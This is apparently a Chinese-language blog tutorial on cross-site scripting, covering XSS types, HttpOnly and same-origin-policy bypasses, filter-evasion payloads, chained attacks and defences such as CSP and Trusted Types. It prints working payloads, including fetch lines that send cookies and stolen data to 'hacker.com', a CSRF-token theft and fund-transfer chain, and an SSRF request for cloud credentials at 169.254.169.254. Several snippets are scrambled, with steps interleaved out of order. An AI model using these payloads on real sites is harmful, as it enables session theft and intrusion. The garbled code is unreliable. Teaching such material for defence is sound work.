一、XSS 漏洞核心原理与分类
1. XSS 本质与危害
XSS(跨站脚本攻击)的本质是攻击者通过注入恶意脚本到可信页面中,使得用户浏览器执行非预期的代码。其危害包括:
-
Cookie 窃取:获取用户会话身份。
-
页面篡改:钓鱼攻击、广告注入。
-
键盘记录:监听用户输入。
-
内网探测:结合浏览器能力扫描内网服务。
2. XSS 三大类型
-
反射型 XSS:恶意脚本来自 HTTP 请求参数,服务端未过滤直接返回页面。
示例:
https://example.com/search?q=<script>alert(1)</script>
-
存储型 XSS:恶意脚本存储到数据库,长期影响所有访问者。
常见场景:论坛评论、用户资料页。 -
DOM 型 XSS:纯前端漏洞,由 JavaScript 操作 DOM 时引入。
示例:
document.write('<div>' + location.hash.slice(1) + '</div>'); // 攻击:http://site.com#<img src=x onerror=alert(1)>
二、HttpOnly 对 XSS 的防御与绕过
1. HttpOnly 的作用原理
-
Cookie 保护:当 Cookie 标记为
HttpOnly
时,JavaScript 无法通过document.cookie
读取。
服务端设置示例(Node.js):
res.setHeader('Set-Cookie', 'session=abc123; HttpOnly; Secure; SameSite=Strict');
2. HttpOnly 的局限性
-
无法阻止以下攻击:
-
劫持用户会话后发起请求(如
<script>fetch('/transfer?to=hacker')</script>
)。 -
读取浏览器自动填充的密码(需结合其他漏洞)。
-
利用浏览器扩展 API(如
chrome://
协议)。
-
3. 绕过 HttpOnly 的尝试
-
XST(Cross-Site Tracing)攻击:
利用 HTTP TRACE 方法反射 Cookie(现代浏览器已禁用 TRACE)。
攻击代码:
<script>
var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'http://target.com', true);
xhr.onload = function() {
sendToAttacker(xhr.responseText); // 提取包含 Cookie 的响应
};
xhr.send();
</script>
-
浏览器漏洞利用:
历史漏洞(如 IE 的document.execCommand("GetObject")
)可绕过 HttpOnly。
三、同源策略(SOP)对 XSS 的影响与绕过
1. 同源策略的核心规则
同源策略限制不同源的页面间访问敏感数据,定义为:协议、域名、端口均相同。
受限操作:
-
读取跨源页面的 DOM、Cookie、LocalStorage。
-
发送跨域 AJAX 请求(受 CORS 限制)。
2. SOP 如何缓解 XSS
-
限制数据泄露:即使存在 XSS,攻击者无法直接通过 AJAX 发送数据到外部域名。
示例:
// 攻击者尝试外传 Cookie
fetch('https://hacker.com/steal?data=' + document.cookie); // 受 CORS 阻止
3. 绕过 SOP 的技术手段
(1) CORS 配置错误
-
场景:目标站点配置
Access-Control-Allow-Origin: *
。
攻击步骤:
fetch('https://target.com/api/user', {
credentials: 'include'
-
诱导用户访问恶意页面
evil.com
。
2. 通过 XHR 发送带凭据的请求:
}).then(data => sendToAttacker(data));
```
(2) JSONP 回调函数注入
-
原理:利用未过滤回调参数的 JSONP 接口。
漏洞端点:
https://target.com/api?callback=legitCallback
攻击代码:
<script>
function stealData(data) {
sendToAttacker(JSON.stringify(data));
}
</script>
<script src="https://target.com/api?callback=stealData"></script>
(3) postMessage 滥用
-
场景:父窗口与 iframe 通信时未验证来源。
漏洞代码(父窗口):
window.addEventListener('message', (e) => {
document.getElementById('content').innerHTML = e.data; // 未验证 e.origin
});
攻击代码(恶意页面):
window.opener.postMessage('<img src=x onerror=alert(document.cookie)>', '*');
四、绕过特殊标签过滤的 XSS 技巧
1. 经典标签与属性绕过
-
绕过
<script>
过滤:
<!-- 利用事件处理器 -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<!-- 利用伪协议 -->
<a href="javascript:alert(1)">Click</a>
-
绕过空格与大小写:
<IMG SRC=x ONERROR=alert(1)> <!-- 大小写混合 -->
<script\u0020>alert(1)</script> <!-- Unicode 编码 -->
2. 现代浏览器防御绕过
-
CSP(内容安全策略)绕过:
<script src="https://cdn.target.com/legit.js?callback=alert(1)"></script>
-
利用
unsafe-inline
或缺失default-src
。-
注入允许域的脚本:
-
-
XSS Auditor 绕过(已弃用):
<script>var a = '{{ '; alert(1); // ' }}';</script>
-
拆分恶意代码:
五、XSS 与其他漏洞的组合利用
1. XSS + CSRF:跨站脚本与请求伪造
-
攻击链:
-
通过 XSS 获取当前用户的 CSRF Token。
-
构造自动提交表单:
-
fetch('/api/csrf-token').then(r => r.json()).then(token => {
fetch('/api/transfer', {
method: 'POST',
body: JSON.stringify({to: 'hacker', amount: 1000, _token: token})
});
});
2. XSS + CORS:跨域数据外泄
-
场景:目标站点允许来自任意域的 CORS 请求。
攻击代码:
fetch('https://target.com/sensitive-data', { credentials: 'include' })
.then(res => res.text())
.then(data => {
fetch('https://hacker.com/log?data=' + encodeURIComponent(data));
});
3. XSS + SSRF:穿透内网边界
-
利用方式:通过 XSS 触发服务端请求(需存在 SSR 功能)。
示例(Node.js 漏洞代码):
app.get('/proxy', (req, res) => {
fetch(req.query.url).then(r => r.text()).then(data => res.send(data));
});
攻击载荷:
<script>
fetch('/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/');
</script>
4. XSS + 业务逻辑漏洞:特权升级
-
案例:某电商平台存在订单金额篡改漏洞,结合 XSS 自动化攻击:
// 修改订单金额为 0.01 元
const orderId = '12345';
fetch(`/api/orders/${orderId}`, {
method: 'PUT',
body: JSON.stringify({ amount: 0.01 })
});
六、综合防御方案
1. 输入过滤与输出编码
-
原则:对用户输入进行严格校验,对动态输出进行上下文敏感编码。
示例(React 安全实践):
// 自动转义 HTML
<div>{userInput}</div>
// 危险场景:使用 dangerouslySetInnerHTML 时需净化
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(htmlInput) }} />
2. 内容安全策略(CSP)
-
推荐配置:
Content-Security-Policy:
default-src 'none';
script-src 'self' https://trusted-cdn.com;
img-src 'self';
style-src 'self' 'unsafe-inline';
connect-src 'self';
form-action 'self';
frame-ancestors 'none';
report-uri /csp-report;
3. 安全 HTTP 头部
-
增强配置:
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: no-referrer
4. 现代浏览器特性
-
Trusted Types API(Chrome 83+):
// 服务端返回头
Content-Security-Policy: require-trusted-types-for 'script';
// 前端定义策略
const policy = trustedTypes.createPolicy('escapePolicy', {
createHTML: input => DOMPurify.sanitize(input)
});
document.body.innerHTML = policy.createHTML(userInput);
七、总结
XSS 的防御是一场持续的动态博弈。攻击者不断发掘新的绕过技巧,而开发者需通过分层防御、安全编码和实时监控构建全方位护盾。理解漏洞原理、熟悉攻击手法、掌握防御框架,是每一位 Web 安全从业者的必修课
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)